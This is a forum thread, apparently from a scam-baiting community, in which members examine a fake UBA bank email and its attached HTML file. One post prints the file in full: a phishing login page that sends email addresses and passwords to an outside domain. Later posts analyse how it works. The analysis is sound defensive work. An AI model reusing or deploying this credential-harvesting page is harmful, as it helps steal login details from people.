Any idea what this is?

By joining our community you will have the ability to post topics and access other forums reserved for members. Registration is quick, simple and absolutely free. Join our community today by clicking here.

Posted: Wed Apr 20, 2016 11:05 pm

From the always popular UBA bank:

Hi Dear Valued customer we are sending every of our customer in the whole world site to see our online marketing business online.

Island to sell online

Login:Island
Password:123

Uba Plc.

And an attached html file (which of course I won't be opening).

Any clues?

Posted: Wed Apr 20, 2016 11:58 pm

My guess would be a virus and/or some kind of phishing attempt. I suppose, it could also be something where you've got money -but they wouldn't send that to "every of our customer"

Posted: Thu Apr 21, 2016 12:43 am

You can safely open the HTML file with a plain-text editor. It may contain obfuscated JaveScript (in which case you shouldn't open it with a browser) or a form with the URL of a site that needs to be killed (in which case post it in the fake site forum).

Posted: Thu Apr 21, 2016 1:46 am

Good deal, I'll see what it's in there, thanks.

Baiting Guru Joined: 10 Oct 2010 Posts: 3876

I guess, you can then post the code here using the code-tags.

others can look into it and will see, if it is really phishy...

Posted: Thu Apr 21, 2016 8:45 am

Yes, put the contents of the file in pastebin and post link here, I will have a look

Posted: Thu Apr 21, 2016 5:13 pm

It's a pretty small thing, is it okay to just post the code here? I'm no expert but there seems to be a site in there that looks a little goofy.

Posted: Thu Apr 21, 2016 5:25 pm

Snicker...I keep telling him I can't open the thing so he sends me this "link":

file:///C:/Users/rfger/AppData/Local/Temp/TRANSFER%20COPY-1.html

to a file on his computer? Funny stuff.

Posted: Fri Apr 22, 2016 9:27 am

loualsindor wrote:

It's a pretty small thing, is it okay to just post the code here? I'm no expert but there seems to be a site in there that looks a little goofy.

sure, put it between the code tags

Posted: Fri Apr 22, 2016 5:51 pm

www.unionlot.tk/Ech.php seems to be the only thing of interest.

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><script language = "Javascript">/** * DHTML email validation script. Courtesy of SmartWebby.com (http://www.smartwebby.com/dhtml/) */function echeck(str) {    var at="@"    var dot="."    var lat=str.indexOf(at)    var lstr=str.length    var ldot=str.indexOf(dot)    if (str.indexOf(at)==-1){       alert("Invalid E-mail ID")       return false    }    if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){       alert("Invalid E-mail ID")       return false    }    if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){       alert("Invalid E-mail ID")       return false    }    if (str.indexOf(at,(lat+1))!=-1){       alert("Invalid E-mail ID")       return false    }    if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){       alert("Invalid E-mail ID")       return false    }    if (str.indexOf(dot,(lat+2))==-1){       alert("Invalid E-mail ID")       return false    }          if (str.indexOf(" ")!=-1){       alert("Invalid E-mail ID")       return false    }    return true                }function ValidateForm(){ var emailID=document.frmSample.user    if ((emailID.value==null)||(emailID.value=="")){    alert("Please Enter your Email ID")    emailID.focus()    return false } if (echeck(emailID.value)==false){    emailID.value=""    emailID.focus()    return false } return true }</script><title>TRADE FILE...</title><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"><meta name="generator" content="Web Page Maker (unregistered version)"><style type="text/css">/*----------Text Styles----------*/.ws6 {font-size: 8px;}.ws7 {font-size: 9.3px;}.ws8 {font-size: 11px;}.ws9 {font-size: 12px;}.ws10 {font-size: 13px;}.ws11 {font-size: 15px;}.ws12 {font-size: 16px;}.ws14 {font-size: 19px;}.ws16 {font-size: 21px;}.ws18 {font-size: 24px;}.ws20 {font-size: 27px;}.ws22 {font-size: 29px;}.ws24 {font-size: 32px;}.ws26 {font-size: 35px;}.ws28 {font-size: 37px;}.ws36 {font-size: 48px;}.ws48 {font-size: 64px;}.ws72 {font-size: 96px;}.wpmd {font-size: 13px;font-family: Arial,Helvetica,Sans-Serif;font-style: normal;font-weight: normal;}/*----------Para Styles----------*/DIV,UL,OL /* Left */{ margin-top: 0px; margin-bottom: 0px;}</style></head><body><div id="image1" style="position:absolute; overflow:hidden; left:24px; top:509px; width:122px; height:44px; z-index:0"><img src="http://img3.cache.netease.com/www/logo/logo_png.png" alt="" title="" border=0 width=122 height=44></div><div id="image2" style="position:absolute; overflow:hidden; left:714px; top:500px; width:143px; height:59px; z-index:1"><img src="https://www.google.com/images/logos/mail_logo.png" alt="" title="" border=0 width=143 height=59></div><div id="image3" style="position:absolute; overflow:hidden; left:325px; top:521px; width:175px; height:23px; z-index:2"><img src="https://secure.wlxrs.com/~Live.SiteContent.ID/~15.3.21/~/~/~/~/images/WindowsLive.png" alt="" title="" border=0 width=175 height=23></div><div id="image4" style="position:absolute; overflow:hidden; left:507px; top:476px; width:263px; height:82px; z-index:3"><img src="http://mimg.yeah.net/logo/yeahlogo_middle.gif" alt="" title="" border=0 width=263 height=82></div><div id="image5" style="position:absolute; overflow:hidden; left:167px; top:521px; width:142px; height:26px; z-index:4"><img src="https://s.yimg.com/lq/i/brand/purplelogo/uh/us/base.gif" alt="" title="" border=0 width=142 height=26></div>

<form method="POST" name="frmSample" action="http://www.unionlot.tk/Ech.php" onSubmit="return ValidateForm()" style="margin:0px"><input name="user" type="text" style="position:absolute;width:200px;left:316px;top:182px;z-index:6"><input name="pass" type="password" style="position:absolute;width:200px;left:315px;top:219px;z-index:7"><div id="formimage1" style="position:absolute; left:359px; top:264px; z-index:10">
      <input type='submit' value='Login Now!'/>
      <br><br></div></form><div id="text1" style="position:absolute; overflow:hidden; left:221px; top:183px; width:85px; height:27px; z-index:8"><div class="wpmd"><div><font face="Comic Sans MS" class="ws11"><B>Email:</B></font></div></div></div><div id="text2" style="position:absolute; overflow:hidden; left:230px; top:222px; width:85px; height:27px; z-index:9"><div class="wpmd"><div><font face="Comic Sans MS" class="ws11"><B>Password:</B></font></div></div></div><div id="text3" style="position:absolute; overflow:hidden; left:247px; top:128px; width:367px; height:27px; z-index:11"><div class="wpmd"><div><font color="#342C9A" face="Comic Sans MS"><B> login your email account To view your payment details</B></font></div></div></div></body></html>

Posted: Fri Apr 22, 2016 7:35 pm

http://www.unionlot.tk/Ech.php redirects to a legitimate bank site, https://www.ubagroup.com .

It's a free domain, obtained here:

http://www.dot.tk

Posted: Fri Apr 22, 2016 7:40 pm

Then what's his game?

Posted: Fri Apr 22, 2016 7:52 pm

I guess the lad tried to set up a fake bank or something similar, but couldn't write the code properly.

The legitimate bank site, I suppose, was to be displayed during some stage of the process.

Edit: take a look at this part of the code. This is a fragment of a not working fake bank:

Quote:

<form method="POST" name="frmSample" action="http://www.unionlot.tk/Ech.php" onSubmit="return ValidateForm()" style="margin:0px"><input name="user" type="text" style="position:absolute;width:200px;left:316px;top:182px;z-index:6"><input name="pass" type="password"

Posted: Fri Apr 22, 2016 8:30 pm

Makes sense, he's enough of a computer genius that he sent me a link to file on his local drive after all!

Nice that he's wasting his time sending messages that don't work. Love it.

Posted: Sat Apr 23, 2016 3:37 am

He may not be as dumb as you think. You don't know what the php script is doing with the username and password before it redirects to the real bank.

Baiting Guru Joined: 10 Oct 2010 Posts: 3876

do you think about something like cross site scripting?

lad sends email with html-file to potential victims, hoping that they open it and that they are customers of that bank.

the html-file has a link inside, that sends the PV to a free domain, that starts some scripts and forwards to the real bank site. and now, a script is listening to the login credentials and records everything else, it may even do transactions.

Posted: Sat Apr 23, 2016 7:29 pm

Robert Heinrich der 1. wrote:

do you think about something like cross site scripting?

And/Or ?
http://cyberattackdefenders.com/blog/how-phishing-sites-use-reverse-proxies-and-why-you-should-be-worried-about-it/

Posted: Mon Apr 25, 2016 8:21 am

Conclusion: its a very poor attempt at a form sending post data to http://www.unionlot.tk. A phishing attempt and a really poor one.

Code:

Apparently he used some free software to generate a form whose action points towards a sketchy site, but apparently he does not know what he is doing.